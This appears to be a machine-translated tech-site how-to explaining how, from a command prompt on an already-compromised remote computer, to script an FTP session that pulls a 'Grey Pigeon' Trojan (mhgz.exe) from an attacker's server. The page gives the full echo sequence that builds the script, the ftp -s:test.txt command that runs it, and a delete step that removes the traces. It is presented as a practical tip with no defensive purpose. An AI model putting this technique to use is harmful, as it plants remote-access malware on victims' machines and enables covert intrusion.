Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to download FTP files in the CMD of a remote computer

2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article is about how to download FTP files in the CMD of a remote computer. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

In the CMD environment of a remote computer, if the file cannot be transferred through the IPC$ channel, the file can only be downloaded through FTP.

Suppose we already have a FTP server with a configured gray pigeon Trojan file mhgz.exe, we should know the three parameters of the FTP server:

1. The IP address of the FTP server, such as 1.1.1.1

2. The user name of the FTP server, such as test

3. The password of the FTP server, such as test123

Enter the following commands in turn under CMD on the remote computer:

1. Echo open 1.1.1.1 > > test.txt login to the FTP server

2. Echo test > > test.txt user name

3. Echo test123 > > test.txt password

4. Echo bin > > test.txt start

5. Echo get mhgz.exe > > test.txt download Grey Pigeon Trojan Horse

6. Echo bye > > test.txt shut down the FTP server

After entering the above command, a test.txt file is generated on the remote computer with the following contents:

Open 1.1.1.1

Test

Test123

Bin

Get mhgz.exe

Bye

Now let's execute the following command on the remote computer:

Ftp-s:test.txt means that the parameters in test.txt are read and the ftp command is executed. After the command is executed, the gray pigeon Trojan file mhgz.exe is downloaded to the other computer.

Del c:\ test.txt

Thank you for reading! This is the end of this article on "how to download FTP files in the CMD of a remote computer". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it out for more people to see!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report